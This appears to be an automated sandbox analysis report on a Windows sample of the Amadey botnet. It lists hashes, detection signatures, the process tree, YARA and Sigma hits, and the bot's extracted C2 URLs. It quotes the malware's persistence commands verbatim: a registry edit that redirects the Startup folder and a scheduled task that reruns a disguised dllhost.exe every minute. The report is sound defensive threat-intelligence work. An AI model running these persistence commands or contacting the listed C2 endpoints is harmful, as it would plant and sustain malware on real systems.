Edit tour

Windows Analysis Report
S7AGd447vH.exe

Overview

General Information

Sample name:	S7AGd447vH.exe renamed because original name is a hash value
Original sample name:	5F5C1A5DF77079F56EB5A61D19666728.exe
Analysis ID:	1564918
MD5:	5f5c1a5df77079f56eb5a61d19666728
SHA1:	c2a99ac26eab563d62137c264b1a8cc9966342b9
SHA256:	0b84cbf4fa7c5be869aaa09b09cbb49edcdaa3e88675304db0ee4fa498adc4c5
Tags:	Amadeyexeuser-abuse_ch
Infos:

Detection

Amadey

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadey bot

Yara detected Amadeys stealer DLL

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: System File Execution Location Anomaly

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses schtasks.exe or at.exe to add and modify task schedules

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Dllhost Internet Connection

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Unusual Parent Process For Cmd.EXE

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Yara signature match

Classification

Process Tree

System is w10x64

S7AGd447vH.exe (PID: 7524 cmdline: "C:\Users\user\Desktop\S7AGd447vH.exe" MD5: 5F5C1A5DF77079F56EB5A61D19666728)

dllhost.exe (PID: 7608 cmdline: "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" MD5: 5F5C1A5DF77079F56EB5A61D19666728)

cmd.exe (PID: 7676 cmdline: "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\ MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7776 cmdline: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\ MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

schtasks.exe (PID: 7708 cmdline: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN dllhost.exe /TR "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dllhost.exe (PID: 7856 cmdline: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe MD5: 5F5C1A5DF77079F56EB5A61D19666728)

dllhost.exe (PID: 7192 cmdline: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe MD5: 5F5C1A5DF77079F56EB5A61D19666728)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": ["web.jsonpost.xyz/sj2vMs/index.php", "web.xmlpost.xyz/sj2vMs/index.php"], "Version": "2.71"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000003.1833879370.000000000088D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000001.00000003.1817745095.000000000088D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0xae0d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x32bc4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmp	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x73c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x620d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x9e55:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56 0x49465:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x31c0c:$a1: D:\Mktmp\NL1\Release\NL1.pdb 0x7121c:$a1: D:\Mktmp\NL1\Release\NL1.pdb
00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0xae0d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x32bc4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
00000001.00000003.1806321286.000000000088D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000007.00000002.1820165445.0000000000428000.00000004.00000001.01000000.00000005.sdmp	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x73c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
00000007.00000002.1820138863.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.1820138863.0000000000401000.00000020.00000001.01000000.00000005.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x620d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0xae0d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x32bc4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x9e55:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56 0x49465:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x31c0c:$a1: D:\Mktmp\NL1\Release\NL1.pdb 0x7121c:$a1: D:\Mktmp\NL1\Release\NL1.pdb
00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x9e55:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56 0x49465:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x31c0c:$a1: D:\Mktmp\NL1\Release\NL1.pdb 0x7121c:$a1: D:\Mktmp\NL1\Release\NL1.pdb
Process Memory Space: S7AGd447vH.exe PID: 7524	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x1158fe:$a1: D:\Mktmp\NL1\Release\NL1.pdb 0x11b622:$a1: D:\Mktmp\NL1\Release\NL1.pdb 0x175083:$a1: D:\Mktmp\NL1\Release\NL1.pdb
Process Memory Space: dllhost.exe PID: 7608	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Process Memory Space: dllhost.exe PID: 7608	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0xa0dc3:$a1: D:\Mktmp\NL1\Release\NL1.pdb 0x1959ba:$a1: D:\Mktmp\NL1\Release\NL1.pdb
Process Memory Space: dllhost.exe PID: 7856	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x914a7:$a1: D:\Mktmp\NL1\Release\NL1.pdb 0xf4b27:$a1: D:\Mktmp\NL1\Release\NL1.pdb 0x13333b:$a1: D:\Mktmp\NL1\Release\NL1.pdb
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.3.dllhost.exe.2204848.4.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.3.dllhost.exe.2204848.4.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x5a0d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
1.3.dllhost.exe.2204848.4.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2d3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
0.3.S7AGd447vH.exe.914800.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.S7AGd447vH.exe.914800.0.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x5a0d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
0.3.S7AGd447vH.exe.914800.0.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2d3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
7.3.dllhost.exe.22244848.4.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.3.dllhost.exe.22244848.4.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x5a0d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
7.3.dllhost.exe.22244848.4.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2d3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
1.3.dllhost.exe.2243e58.3.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.3.dllhost.exe.2243e58.3.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x5a0d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
1.3.dllhost.exe.2243e58.3.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2d3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
1.3.dllhost.exe.604800.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.3.dllhost.exe.604800.0.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x5a0d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
1.3.dllhost.exe.604800.0.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2d3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
0.3.S7AGd447vH.exe.2224848.4.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.S7AGd447vH.exe.2224848.4.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x5a0d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
0.3.S7AGd447vH.exe.2224848.4.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2d3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
1.3.dllhost.exe.604800.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.3.dllhost.exe.604800.0.raw.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x660d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
1.3.dllhost.exe.604800.0.raw.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2e3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
7.3.dllhost.exe.22283e58.3.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.3.dllhost.exe.22283e58.3.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x5a0d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
7.3.dllhost.exe.22283e58.3.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2d3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
7.3.dllhost.exe.634800.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.3.dllhost.exe.634800.0.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x5a0d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
7.3.dllhost.exe.634800.0.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2d3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
0.2.S7AGd447vH.exe.400000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.S7AGd447vH.exe.400000.0.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x660d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
0.2.S7AGd447vH.exe.400000.0.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2e3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
0.3.S7AGd447vH.exe.2263e58.3.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.S7AGd447vH.exe.2263e58.3.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x5a0d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
0.3.S7AGd447vH.exe.2263e58.3.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2d3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
0.3.S7AGd447vH.exe.914800.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.S7AGd447vH.exe.914800.0.raw.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x660d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
0.3.S7AGd447vH.exe.914800.0.raw.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2e3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
0.3.S7AGd447vH.exe.2263e58.3.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.S7AGd447vH.exe.2263e58.3.raw.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x660d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
0.3.S7AGd447vH.exe.2263e58.3.raw.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2e3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
7.3.dllhost.exe.634800.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.3.dllhost.exe.634800.0.raw.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x660d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
7.3.dllhost.exe.634800.0.raw.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2e3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
1.3.dllhost.exe.2243e58.3.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.3.dllhost.exe.2243e58.3.raw.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x660d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
1.3.dllhost.exe.2243e58.3.raw.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2e3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
1.3.dllhost.exe.2204848.4.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.3.dllhost.exe.2204848.4.raw.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x660d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56 0x45c1d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
1.3.dllhost.exe.2204848.4.raw.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2e3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb 0x6d9d4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
0.3.S7AGd447vH.exe.2224848.4.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.S7AGd447vH.exe.2224848.4.raw.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x660d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56 0x45c1d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
0.3.S7AGd447vH.exe.2224848.4.raw.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2e3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb 0x6d9d4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
7.2.dllhost.exe.400000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.dllhost.exe.400000.0.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x660d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
7.2.dllhost.exe.400000.0.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2e3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
7.3.dllhost.exe.22283e58.3.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.3.dllhost.exe.22283e58.3.raw.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x660d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
7.3.dllhost.exe.22283e58.3.raw.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2e3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
7.3.dllhost.exe.22244848.4.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.3.dllhost.exe.22244848.4.raw.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x660d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56 0x45c1d:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
7.3.dllhost.exe.22244848.4.raw.unpack	Windows_Trojan_Amadey_c4df8d4a	unknown	unknown	0x2e3c4:$a1: D:\Mktmp\NL1\Release\NL1.pdb 0x6d9d4:$a1: D:\Mktmp\NL1\Release\NL1.pdb
Click to see the 55 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\S7AGd447vH.exe, ProcessId: 7524, TargetFilename: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" , CommandLine: "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe, ParentCommandLine: "C:\Users\user\Desktop\S7AGd447vH.exe", ParentImage: C:\Users\user\Desktop\S7AGd447vH.exe, ParentProcessId: 7524, ParentProcessName: S7AGd447vH.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" , ProcessId: 7608, ProcessName: dllhost.exe

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\, CommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\, CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7676, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\, ProcessId: 7776, ProcessName: reg.exe

Sigma detected: Dllhost Internet Connection

Source: Network Connection

Author: bartblaze: Data: DestinationIp: 72.52.178.23, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe, Initiated: true, ProcessId: 7608, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN dllhost.exe /TR "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" /F, CommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN dllhost.exe /TR "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" /F, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe, ParentProcessId: 7608, ParentProcessName: dllhost.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN dllhost.exe /TR "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" /F, ProcessId: 7708, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Unusual Parent Process For Cmd.EXE

Source: Process started

Author: Tim Rauch: Data: Command: "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\, CommandLine: "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe, ParentProcessId: 7608, ParentProcessName: dllhost.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\, ProcessId: 7676, ProcessName: cmd.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

